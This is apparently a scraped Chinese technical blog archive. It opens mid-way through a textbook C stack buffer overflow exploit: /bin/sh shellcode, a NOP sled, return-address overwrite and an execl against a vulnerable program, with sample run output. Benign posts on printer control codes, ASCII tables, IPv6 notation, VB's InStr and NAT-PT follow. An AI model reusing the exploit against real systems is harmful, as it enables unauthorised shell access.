"/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb"
"/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";
int get_esp()
{
__asm__("mov %esp, %eax");
}
int main(int argc, char **argv)
{
char* charPtr = NULL;
char* bufferPtr = NULL;
int* intPtr = NULL;
int shellCodeLength = strlen(shellCode);
int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
int retAddr = 0;
int adjustment = 0;
int i;
int esp = get_esp();
if(argc >= 2)
{
adjustment = atoi(argv[1]);
}
retAddr = esp + ESP_RET_DIFF + adjustment;
bufferPtr = (char *) malloc(bufferSize);
if(bufferPtr != NULL)
{
/* Fill the whole buffer with 'A' */
memset(bufferPtr, 0x41, bufferSize);
/* Butt in our return address */
intPtr = (int *) (bufferPtr + RET_DIS);
*intPtr++ = retAddr;
charPtr = (char *) intPtr;
/* To increase the probabilty of hitting the jackpot */
for(i=0; i
{
*charPtr++ = NOP;
}
/* Butt in the shell code */
for(i=0; i
{
*charPtr++ = shellCode[i];
}
*charPtr = 0; /* Null terminated - Not necessary but nice to have */
printf("esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun!/n", esp, adjustment, retAddr);
/* Try to hit the jackpot */
execl("./p", "p", bufferPtr, NULL);
}
else
{
printf("No more free memory!/n");
}
}
好, 我们来编译运行看看.
bash$ gcc -o myex myex.c
bash$ ./myex
esp=0xbffff6b8, adjustment=0, jump to 0xbffff6b8. Have fun!
String=AAAAAAAAAAAAAAAA个?F
控制码摘要表(ASCII 码顺序排列)
immicf 发表于 2008-05-10 15:23:23
bel 告警 4-5
bs 退格 4-5
ht 实行横向制表 4-4
lf 跳行 4-4
vt 实行纵向制表 4-4
ff 跳页 4-4
cr 回车 4-3
so 设定倍宽打印(一行有效) 4-2
si 设定压缩体 4-3
dc1 联机 4-5
dc2 撤消压缩体 4-3
dc3 脱机 4-5
dc4 撤消一行有效倍宽打印 4-2
can 清除行缓冲区 4-5
del 字符删除 4-5
esc so 同s0 4-2
esc si 同si 4-3
esc sp n 设定字间空距 4-3
esc ! n 设定修饰字体 4-3
esc # 撤消字节高位屏蔽 4-5
esc $ n1 n2 绝对点位置定位 4-3
esc & 0 n m [a0 a1 a2 d...
定义用户指定字符组 4-6
esc % 选用用户指定字符组 4-6
esc ( - nl nh m d d1 d2
选择或取消score 4-6
控制码 功能 参考页
esc ( b nl nh k m s v1 v2
条码打印 4-6
esc ( x 3 0 背景打印模式 4-6
esc * m nl nh d12
选择图象模式 4-4
esc + n 设定n/360 英寸行距 4-4
esc - n 设定/撤消下划线打印 4-2
esc /m 选定纵向制表通道 4-4
esc 0 设定1/8 英寸行距 4-4
esc 2 设定1/6 英寸行距 4-4
esc 3 n 设定n/180 英寸行距 4-4
esc 4 设定斜体打印 4-2
esc 5 撤消斜体打印 4-2
esc 6 选定字符组别2# 4-3
esc 7 选定字符组别1# 4-3
esc 8 撤消缺纸检测 4-5
esc 9 设定缺纸检测 4-5
esc : 0 n 0 拷贝rom 标准字符到ram 4-6
esc < 一行单向打印 4-5
esc = 字节高位屏蔽(msb=0) 4-5
esc > 字节高位屏蔽(msb=1) 4-5
esc ?n m 图象模式重新定义 4-5
esc @ 打印机复位 4-5
esc a n 设定n/60 英寸行距 4-4
esc b d1 k nul 设置纵向制表(通道0) 4-4
esc c n 设定页长为n 行 4-4
esc c nul n 设定页长为n 英寸 4-4
esc d n1 k nul 设置横向制表 4-4
控制码 功能 参考页
esc e 设定粗体 4-2
esc f 撤消粗体 4-2
esc g 设定双重打印 4-2
esc h 撤消双重打印 4-2
esc j n 实行n/180 英寸顺向进纸 4-4
esc k nl nh d1 k
8 针单密度图象模式 4-5
esc l nl nh d1 k
8 针双密度图象模式 4-5
esc m 设定elite(12cpi)字距 4-2
esc n n 设定页尾空行数 4-4
esc o 撤消页尾空行数 4-4
esc p 设定pica(10cpi)字距 4-2
esc q n 设定打印右边限 4-3
esc r n 选定国际字符组 4-3
esc s n 设定上/下标打印 4-2
esc t 撤消上/下标打印 4-2
esc u n 设定打印方向 4-5
esc w n 设定/撤消倍宽打印 4-2
esc x nl nh 设定左、右边限位置 4-3
esc y nl nh d1 k
8 针高速双密度图象模式 4-5
esc z nl nh d1 k
8 针四倍密度图象模式 4-5
esc \nl nh 相对点位置移动 4-4
esc b m n1 k nul
设置/清除纵向制表(通道0-7) 4-4
esc g 选定15cpi 字距 4-2
控制码 功能 参考页
esc j n 实行n/180 英寸反向进纸 4-4
esc k n 选定西文字符集 4-3
esc l n 设定左边限位置 4-3
esc p n 设定/撤消比例体 4-2
esc q n 设定修饰字体 4-2
esc s n 设定/撤消消音打印 4-2
esc t n 选定ibm/斜体字符集 4-3
esc w n 设定/撤消倍高打印 4-2
esc x n 设定打印模式 4-2
esc ~ n 设定/撤消零号打印方式 4-5
fs so 同so 4-2
fs si 设定半角汉字模式 4-2
fs dc2 撤消半角汉字模式 4-2
fs dc4 同dc4 4-2
fs ! n 设定汉字字型复合打印模式 4-6
fs & 设定汉字打印模式 4-2
fs - n 设定/撤消汉字下划线 4-2
fs . 撤消汉字打印模式 4-2
fs 2 al ah d1-dk 用户造字装入 4-5
fs d 两个半角字合并纵打 4-2
fs j 设定汉字纵向打印 4-2
fs k 设定汉字横向打印 4-2
fs s n1 n2 设定汉字左右空点 4-3
fs t n1 n2 设定半角字左右空点 4-3
fs u 撤消半角字距校正 4-3
fs v 设定半角字距校正 4-3
fs w n 设定/撤消倍宽倍高汉字打印模式 4-2
fs k n 选择半角英数字字体 4-2
fs r n 设定1/4 角汉字上下标 4-2
fs v n 设定/撤消表格纵线连接 4-5
fs x n 设定打印模式 4-2
ASCII表
immicf 发表于 2008-05-10 15:19:38
ASCII Characters
Dec Hex Char Code Dec Hex Char
0 0 NUL 64 40 @
1 1 SOH 65 41 A
2 2 STX 66 42 B
3 3 ETX 67 43 C
4 4 EOT 68 44 D
5 5 ENQ 69 45 E
6 6 ACK 70 46 F
7 7 BEL 71 47 G
8 8 BS 72 48 H
9 9 HT 73 49 I
10 0A LF 74 4A J
11 0B VT 75 4B K
12 0C FF 76 4C L
13 0D CR 77 4D M
14 0E SO 78 4E N
15 0F SI 79 4F O
16 10 SLE 80 50 P
17 11 CS1 81 51 Q
18 12 DC2 82 52 R
19 13 DC3 83 53 S
20 14 DC4 84 54 T
21 15 NAK 85 55 U
22 16 SYN 86 56 V
23 17 ETB 87 57 W
24 18 CAN 88 58 X
25 19 EM 89 59 Y
26 1A SIB 90 5A Z
27 1B ESC 91 5B [
92 5C \
28 1C FS 93 5D ]
29 1D GS 94 5E ^
30 1E RS 95 5F _
31 1F US 96 60 `
32 20 (space) 97 61 a
33 21 ! 98 62 b
34 22 "
99 63 c
35 23 # 100 64 d
36 24 $
37 25 % 101 65 e
38 26 & 102 66 f
39 27 ' 103 67 g
40 28 ( 104 68 h
41 29 ) 105 69 i
42 2A * 106 6A j
43 2B + 107 6B k
44 2C , 108 6C l
45 2D - 109 6D m
46 2E . 110 6E n
47 2F / 111 6F o
48 30 0 112 70 p
49 31 1 113 72 q
50 32 2 114 72 r
51 33 3 115 73 s
52 34 4 116 74 t
53 35 5 117 75 u
54 36 6 118 76 v
55 37 7 119 77 w
56 38 8 120 78 x
57 39 9 121 79 y
58 3A : 122 7A z
59 3B ; 123 7B {
60 3C < 124 7C |
61 3D = 125 7D }
62 3E > 126 7E ~
63 3F ? 127 7F
--------------------------------------------------------------
2、128位密钥表:
48 EE 76 1D 67 69 A1 1B
7A 8C 47 F8 54 95 97 5F
78 D9 DA 6C 59 D7 6B 35
C5 77 85 18 2A 0E 52 FF
00 E3 1B 71 8D 34 63 EB
91 C3 24 0F B7 C2 F8 E3
B6 54 4C 35 54 E7 C9 49
28 A3 85 11 0B 2C 68 FB
EE 7D F6 6C E3 9C 2D E4
72 C3 BB 85 1A 12 3C 32
E3 6B 4F 4D F4 A9 24 C8
FA 78 AD 23 A1 E4 6D 9A
04 CE 2B C5 B6 C5 EF 93
5C A8 85 2B 41 37 72 FA
57 45 41 A1 20 4F 80 B3
D5 23 02 64 3F 6C F1 0F
-------------------------
3、8位密钥表
35 9A 4D A6 53 A9 D4 6A
-------------------------
4、异或运算表
0 0 0
1 1 0
1 0 1
0 1 1
|
附录 |
||||||||
|
ASCII(美国信息交换标准编码)表 |
||||||||
|
字符 |
ASCII代码 |
字符 |
ASCII代码 |
字符 |
ASCII代码 |
|||
|
二进制 |
十进制 |
二进制 |
十进制 |
二进制 |
十进制 |
|||
|
回车 |
0001101 |
13 |
? |
0111111 1000000 1000001 1000010 1000011 1000100 1000101 |
63
64 65 66 67 68 69 |
a b c d e f g |
1100001
1100010 1100011 1100100 1100101 1100110 1100111 |
97 98 99 100 101 102 103 |
|
% |
0100101 |
37 |
F
G H I J K L |
1000110 1000111 1001000 1001001 1001010 1001011 1001100 |
70
71 72 73 74 75 76 |
h i j k l m n |
1101000
1101001 1101010 1101011 1101100 1101101 1101110 |
104 105 106 107 108 109 110 |
|
, |
0101100 |
44 |
M
N O P Q R S |
1001101 1001110 1001111 1010000 1010001 1010010 1010011 |
77
78 79 80 81 82 83 |
o p q r s t u |
1101111
1110000 1110001 1110010 1110011 1110100 1110101 |
111 112 113 114 115 116 117 |
|
3
4 5 6 7 8 |
0110011
0110100 0110101 0110110 0110111 0111000 |
51
52 53 54 55 56 |
T
U V W X Y |
1010100 1010101 1010110 1010111 1011000 1011001 |
84
85 86 87 88 89 |
v
w x y z |
1110110
1110111 1111000 1111001 1111010 |
118 119 120 121 122 |
|
9
: ; < = > |
0111001
0111010 0111011 0111100 0111101 0111110 |
57
58 59 60 61 62 |
Z
[ \ ] ^ - |
1011010 1011011 1011100 1011101 1011110 1011111 |
90
91 92 93 94 95 |
{
| } |
1111011
1111100 1111101 |
123 124 125 |
type=text/javascript> src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript> name=google_ads_frame marginWidth=0 marginHeight=0 src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-2322910533458636&dt=1210401746086&lmt=1142301189&prev_fmts=468x60_as&format=468x15_0ads_al&output=html&correlator=1210401745455&url=http%3A%2F%2Fwww.lan99.com%2Fcomputer%2Fwindows%2Fwjc%2F6811.htm&color_bg=FFFFFF&color_text=330033&color_link=000000&color_url=3366FF&color_border=FFFFFF&ref=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F11303768.html&frm=0&cc=19&ga_vid=212177216889185250.1210401745&ga_sid=1210401745&ga_hid=1940945286&flash=9.0.115&u_h=768&u_w=1280&u_ah=738&u_aw=1280&u_cd=32&u_tz=480&u_his=1&u_java=true&u_nplug=18&u_nmime=77" frameBorder=0 width=468 scrolling=no height=15 allowTransparency>
IPv6的地址表示
immicf 发表于 2008-05-10 14:23:43
CDCD :901A :2222 : 5498 : 8475 : 1111 : 3900 : 2020
1030 : 0 : 0 : 0 : C9B4 : FF12 : 48AA : 1A2B
2000 : 0 : 0 : 0 : 0 : 0 : 0 : 1
请注意这些整数是十六进制整数,其中A到F表示的是10到15。地址中的每个整数都必须表示出来,但起始的0可以不必表示。
这是一种比较标准的IPv6地址表达方式,此外还有另外两种更加清楚和易于使用的方式。
某些IPv6地址中可能包含一长串的0 (就像上面的第二和第三个例子一样)。当出现这种情况时,标准中允许用“空隙”来表示这一长串的0。换句话说,地址2000 : 0 : 0 : 0 : 0 : 0 : 0 : 1可以被表示为:2000::1。这两个冒号表示该地址可以扩展到一个完整的128位地址。在这种方法中,只有当1 6位组全部为0时才会被两个冒号取代,且两个冒号在地址中只能出现一次,以避免混淆。
在IPv4和IPv6的混合环境中还可能有第三种表达方法。IPv6地址中的最低32位可以用于IPv4地址的表示方法,该地址可以按照一种混合方式表达,即X : X : X : X : X : X : d . d . d . d,其中X表示一个16位整数,而d表示一个8位十进制整数。例如,地址
0:0:0:0:0:0:10.0.0.1就是一个合法的IPv4地址。把两种可能的表达方式组合在一起,该地址也可以表示为:::10.0.0.1。
IPv6地址和IPv4地址还有一个重大区别的地方,那就是地址类型。众所周知,目前的ip v4地址有三种类型:单播(unicast)地址,组播(multicast)地址,广播(broadcast)地址。而IPv6地址虽然也是三种类型,但是已经有所改变,有:单播(unicast),组播(multicast),任播(anycast)。
●单播地址:一个网络接口的地址。送往一个单播地址的包将被传送至该地址标识的接口
上。
●组播地址:一组接口(一般属于不同节点)的网络地址。送往一个组播地址的包将被传送至有该地址标识的所有接口上。
●泛播地址:一组接口(一般属于不同节点)的网络地址。送往一个泛播地址的包将被传送至该地址标识的接口之一(根据选路协议对于距离的计算方法选择“最近”的一个)。
●广播地址:一个网段内的所有节点。送往一个广播地址的包将被送至网段内的所有节点。
在IPv6地址中之所以要去掉广播地址,而重新定义任播地址,主要是考虑到网络中由于大量广播包的存在,容易造成网络的阻塞,而且由于网络中各节点都要对这些大部分与自己无关的广播包进行处理,对网络节点的性能也造成影响。
从以上资料可以看出,用一个字符串记录 IPv6 的地址,最长可能是 45 位。
即:X : X : X : X : X : X : d . d . d . d 模式
instr函数
immicf 发表于 2008-05-10 14:15:49
InStr
【类别】
字符串函数
【原形】
InStr([start, ]string1, string2[, compare])
【参数】
InStr 函数的语法具有下面的参数:
部分
说明
start
可选参数。为数值表达式,设置每次搜索的起点。如果省略,将从第一个字符的位置开始。如果 start 包含 Null,将发生错误。如果指定了 compare 参数,则一定要有 start 参数。
string1
必要参数。接受搜索的字符串表达式。
string2
必要参数。被搜索的字符串表达式。
Compare
可选参数。指定字符串比较。如果 compare 是 Null,将发生错误。如果省略 compare,Option Compare 的设置将决定比较的类型。
?compare 参数设置为:
常数
值
【描述】
vbUseCompareOption
-1
使用Option Compare 语句设置执行一个比较。
vbBinaryCompare
0
执行一个二进制比较。
vbTextCompare
1
执行一个按照原文的比较。
vbDatabaseCompare
2
仅适用于Microsoft Access,执行一个基于数据库中信息的比较。
【返回值】
返回0、1、2、-1或Null等。
【异常/错误】
无
描述InStr([start, ]string1, string2[, compare])
返回指定一字符串在另一字符串中最先出现的位置。在字符串string1中,从start开始找string2,省略start时从string1头开始找。找不到时,函数值为0。
如果
InStr返回
string1 为零长度
0
string1 为 Null
Null
string2 为零长度
Start
string2 为 Null
Null
string2 找不到
0
在 string1 中找到string2
找到的位置
start > string2
0
【示例】
本示例使用 InStr 函数来查找某字符串在另一个字符串中首次出现的位置。
Dim SearchString, SearchChar, MyPos
SearchString ="XXpXXpXXPXXP" ' 被搜索的字符串。
SearchChar = "P" ' 要查找字符串 "P"。
' 从第四个字符开始,以文本比较的方式找起。返回值为 6(小写 p)。
' 小写 p 和大写 P 在文本比较下是一样的。
MyPos = Instr(4, SearchString, SearchChar, 1)
' 从第4个字符开使,按照原文比较的方式找起。返回值为 9(大写 P)。
' 小写 p 和大写 P 在二进制比较下是不一样的。
MyPos = Instr(1, SearchString, SearchChar, 0)
' 缺省的比对方式为二进制比较(最后一个参数可省略)。
MyPos = Instr(SearchString, SearchChar) ' 返回 9。
MyPos = Instr(1, SearchString, "W") ' 返回 0。
Linux-based Userspace NAT-PT
immicf 发表于 2008-03-19 23:31:32
Overview
NAT-PT (Network Address Translation - Protocol Translation) is an IETF RFC specification for an IPv4 to IPv6 protocol translator.
NAT-PT is intended primarily to aid migration to IPv6 environment. Since IPv6 deployment is going to be a gradual process, there will be a period of transition in which IPv6 hosts will need to be able to communicate with the global Internet (IPv4 hosts). That is, there is expected to be a long transition period during which it will be necessary for IPv4 and IPv6 nodes to coexist and communicate. A strong, flexible set of IPv4-to-IPv6 transition and coexistence mechanisms will be required during this transition period. In these environments, NAT-PT is one of solutions.
NAT-PT provides a combination of address translation and IPv6/IPv4 protocol translation. It resides within an IP router, situated at the boundary between an IPv4 network and an IPv6 network. By installing NAT-PT between an IPv6 network and the Internet, all Internet users are given access to the IPv6 network without host modification. Equally, all hosts on the IPv6 network are given access to the Internet with a pool of V4 addresses for assignment to IPv6 nodes on a dynamic basis as sessions are initiated across IPv4-IPv6 boundaries.
Suppose that some applications carry network addresses in payloads. Because NAT-PT does not snoop the payload, it can be application unaware. So, NAT-PT requires some Application Level Gateway (ALG) which are an application specific agent that allows a IPv6 node to communicate with a IPv4 node and vice versa. That is, ALG could work in conjunction with NAT-PT to provide support for many such applications. For example, there are DNS-ALG, FTP-ALG and etcetera.
NAT-PT is an interoperability solution that does not require any modifications or extra software, such as dual stacks, to be installed on any of the end user hosts of either IPv4 or IPv6 network. It performs the required interoperability functions within the core network, making interoperability between hosts easier to manage and faster to deploy. The only work required is to install NAT-PT at the network boundary. Maintenance is also eased, as any alteration to NAT-PT only needs to be downstreamed to the boundary routers - not to every host that requires contact across an IPv6/IPv4 boundary. But, NAT-PT is less scalable than other translation methods.
Our Implementation
Our NAT-PT was developed for a router running Linux 2.4.0-test9 operating system and is running in Userspace. And this refered to other NAT-PT, developed by British Telecom(BT). BT's NAT-PT also resides within an IP router. But BT's NAT-PT is running on FreeBSD and using the KAME IPv6 stack.
There is no guarantee that our code will operate on any other Linux system and this possibility has not been tested because our final goal is the development of NAT-PT running on Linux-2.4.0 kernel. Now, our team is developing that kernel code.
If you want to test our NAT-PT, please go to the download page.
Other Implementation
BT Labs have developed an implementation of NAT-PT designed to run on a router running the FreeBSD operating system and using the KAME IPv6 Stack. To obtain a copy, please go to the download page. And there are another implementations of NAT-PT by Miscrosoft and CISCO.
Explanation of KAME NAT-PT Source Code
immicf 发表于 2008-03-19 22:37:39
ATTENTION: xxx is the directory that you have the KAME source code.
Diagrams of functions that are called when an IPv6 host wants to connect to the IPv4 Web server (TCP).
Diagrams of functions that are called when an IPv6 host wants to connect to the IPv4-only peer by using UDP.
KAME NAT-PT
immicf 发表于 2008-03-19 22:20:56
To use NATPT, please read the four documents in KAME kit
* natptconfig/natptconfig.usage
* natptconfig/natpt.conf (configuration file)
* natptconfig/natpt.conf.5 (Manual of configuration file)
* natptconfig/natptconfig.8 (Manual of configuration program)
